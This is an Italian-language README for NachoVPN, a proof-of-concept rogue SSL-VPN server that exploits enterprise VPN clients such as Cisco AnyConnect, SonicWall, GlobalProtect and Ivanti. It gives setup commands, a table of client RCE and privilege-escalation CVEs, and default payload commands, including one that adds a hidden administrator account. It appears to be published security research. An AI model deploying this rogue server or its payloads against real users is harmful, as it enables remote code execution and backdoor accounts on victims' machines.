
Un delizioso, ma dannoso server SSL-VPN 🌮
NachoVPN è una Proof of Concept che dimostra lo sfruttamento dei client SSL-VPN, utilizzando un server VPN rogue.
Utilizza un'architettura basata su plugin, così che il supporto per prodotti SSL-VPN aggiuntivi possa essere contribuito dalla community. Attualmente supporta vari popolari prodotti VPN aziendali, come Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect e Ivanti Connect Secure.
Per ulteriori dettagli, consulta il nostro post sul blog e la presentazione HackFest Hollywood 2024 [slides|video].
NachoVPN è sviluppato e testato su Ubuntu 22.04.
Installa python3-nftables e nftables
Opzionalmente usa setcap per evitare il requisito di sudo:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
Abilita l'IP forwarding:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN può essere installato da GitHub usando pip. Nota che questo richiede che git sia installato.
Per prima cosa, crea un ambiente virtuale.
Su Linux, assicurati che l'ambiente virtuale abbia accesso ai site-packages di sistema, così che nftables funzioni:
python3 -m venv env --system-site-packages
source env/bin/activate
Su Windows, nftables (e quindi il packet forwarding) è disabilitato, quindi usa:
python -m venv env
.\env\Scripts\activate
Quindi, installa NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
Se preferisci usare Docker, puoi scaricare il container dal GitHub Container Registry:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
Per prima cosa, clona questo repository e installa setuptools e wheel tramite pip. Puoi quindi eseguire lo script setup.py:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
Questo genererà un file wheel nella directory dist, che può essere installato con pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
In alternativa, per lo sviluppo locale puoi installare il pacchetto in modalità modificabile usando:
pip install -e .
Puoi creare l'immagine container con il seguente comando:
docker build -t nachovpn:latest .
Per eseguire il server in modalità standalone, usa:
python -m nachovpn.server
In alternativa, puoi eseguire il server usando Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
Questo genererà un certificato per SERVER_FQDN usando certbot e lo salverà nella directory certs, che abbiamo montato nel container.
In alternativa, per scopi di test, puoi saltare la generazione del certificato impostando la variabile d'ambiente SKIP_CERTBOT.
Questo genererà invece un certificato auto-firmato.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
È fornito anche un esempio di file docker-compose per comodità.
Puoi eseguire nachovpn con gli argomenti da riga di comando -d o --debug per aumentare la verbosità del logging, il che può aiutare nel debug.
In alternativa, se il logging è troppo prolisso, puoi usare l'argomento da riga di comando q o --quiet.
NachoVPN supporta i seguenti plugin e funzionalità:
| Plugin | Prodotto | CVE | Windows RCE | macOS RCE | Privilegi | Gestore URI | Cattura pacchetti | Demo | | -------- | ----------- | -------- | -------- | -------- | -------- | -------- | ---- | | Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS | | SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows | | PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (correzione parziale) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS | | PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (bypassato) | ✅ | ✅ | ✅ | ✅ (solo Windows - disabilitato per impostazione predefinita in 22.8R1) | ✅ | Windows | | Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows | | Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
/pulse sul server NachoVPN./sonicwall sul server NachoVPN. Questo richiede che SonicWall Connect Agent sia installato sul client./delinea sul server NachoVPN.NACAgent.exe con un certificato auto-firmato. Per scopi di test, puoi scaricare e installare questo certificato CA da /sonicwall/ca.crt prima di attivare l'exploit. Per casi d'uso in produzione, dovrai ottenere un certificato di firma del codice valido da una CA pubblica, firmare il tuo payload NACAgent.exe e inserirlo nella directory payloads (oppure montarlo come volume in /app/payloads, se usi docker).NACAgent.exe predefinito per il plugin SonicWall e scritto nella directory payloads. Questo semplicemente avvia un nuovo processo cmd.exe sul desktop dell'utente corrente, in esecuzione come SYSTEM.Per disabilitare un plugin, aggiungilo alla variabile d'ambiente DISABLED_PLUGINS. Per esempio:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN viene configurato tramite variabili d'ambiente. Questo lo rende facilmente compatibile con distribuzioni containerizzate.
Variabili d'ambiente globali:
Variabili d'ambiente specifiche dei plugin:
Raccomandiamo le seguenti mitigazioni:
Accogliamo volentieri contributi! Apri un issue o invia una Pull Request.
Se sei interessato a sviluppare un nuovo plugin, puoi dare un'occhiata a ExamplePlugin per iniziare.
NachoVPN è concesso in licenza sotto la licenza MIT. Vedi il file LICENSE per i dettagli.
msi_version.txtdownloadsmsi_downloader.pyGlobalProtect.msi.old e GlobalProtect64.msi.old siano presenti nella cartella downloads. Questi file devono contenere gli installer MSI non modificati per una versione precedente alla 6.2.6 (es. 6.2.5).| Variabile | Descrizione | Predefinito |
|---|
SERVER_FQDN | Il nome di dominio completamente qualificato del server. | connect.nachovpn.local |
EXTERNAL_IP | L'indirizzo IP esterno del server. | 127.0.0.1 |
WRITE_PCAP | Indica se scrivere i file PCAP catturati su disco. | false |
DISABLED_PLUGINS | Un elenco separato da virgole di plugin da disabilitare. | |
USE_DYNAMIC_SERVER_THUMBPRINT | Indica se calcolare dinamicamente l'impronta del certificato del server dal server (utile se dietro un proxy). | false |
SERVER_SHA1_THUMBPRINT | Consente di sovrascrivere l'impronta SHA1 calcolata per il certificato del server. | |
SERVER_MD5_THUMBPRINT | Consente di sovrascrivere l'impronta MD5 calcolata per il certificato del server. | |
SMB_ENABLED | Abilita la condivisione SMB, disponibile tramite il tunnel all'indirizzo \\10.10.0.1\<SMB_SHARE_NAME> | false |
SMB_SHARE_NAME | Il nome da usare per la condivisione SMB | SHARE |
SMB_SHARE_PATH | Il percorso della directory da usare per la condivisione SMB | smb |
TUNNEL_PRIVATE | Quando impostato su true, abilita il tunneling ma disabilita l'inoltro internet per i client VPN. I client possono accedere solo alla condivisione SMB. | false |
TUNNEL_FULL | Quando impostato su true, abilita il tunneling completo e consente ai client VPN di accedere a internet. Implica anche TUNNEL_PRIVATE=true. | false |
| Variabile | Descrizione | Predefinito |
|---|
VPN_NAME | Il nome del profilo VPN, che viene presentato al client per Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT | Il percorso dello script di accesso Pulse Secure. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | Il percorso dello script di accesso Pulse Secure per macOS. | |
PULSE_DNS_SUFFIX | Il suffisso DNS da usare per le connessioni Pulse Secure. | nachovpn.local |
PULSE_USERNAME | Il nome utente da precompilare nella finestra di accesso Pulse Secure. | |
PULSE_SAVE_CONNECTION | Indica se salvare la connessione Pulse Secure nel client dell'utente. | false |
PULSE_ANONYMOUS_AUTH | Indica se usare l'autenticazione anonima per le connessioni Pulse Secure. Se impostato su true, all'utente non verrà richiesto nome utente o password. | false |
PULSE_HOST_CHECKER_RULES_FILE | Un file JSON contenente un elenco di regole host-checker basate sul registro per ICS. Vedi l'esempio in src/nachovpn/plugins/pulse/test/example_rules.json | |
PALO_ALTO_MSI_ADD_FILE | Il percorso di un file da aggiungere all'installer MSI di Palo Alto. | |
PALO_ALTO_MSI_COMMAND | Il comando che deve essere eseguito dall'installer MSI di Palo Alto. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | Indica se forzare la patch dell'installer MSI se esiste già nella directory payloads. | false |
PALO_ALTO_PKG_COMMAND | Il comando che deve essere eseguito dall'installer PKG di Palo Alto su macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN | Il comando che deve essere eseguito dallo script OnConnect.vbs di Cisco AnyConnect su Windows. | calc.exe |
CISCO_COMMAND_MACOS | Il comando che deve essere eseguito dallo script OnConnect.sh di Cisco AnyConnect su macOS. | touch /tmp/pwnd |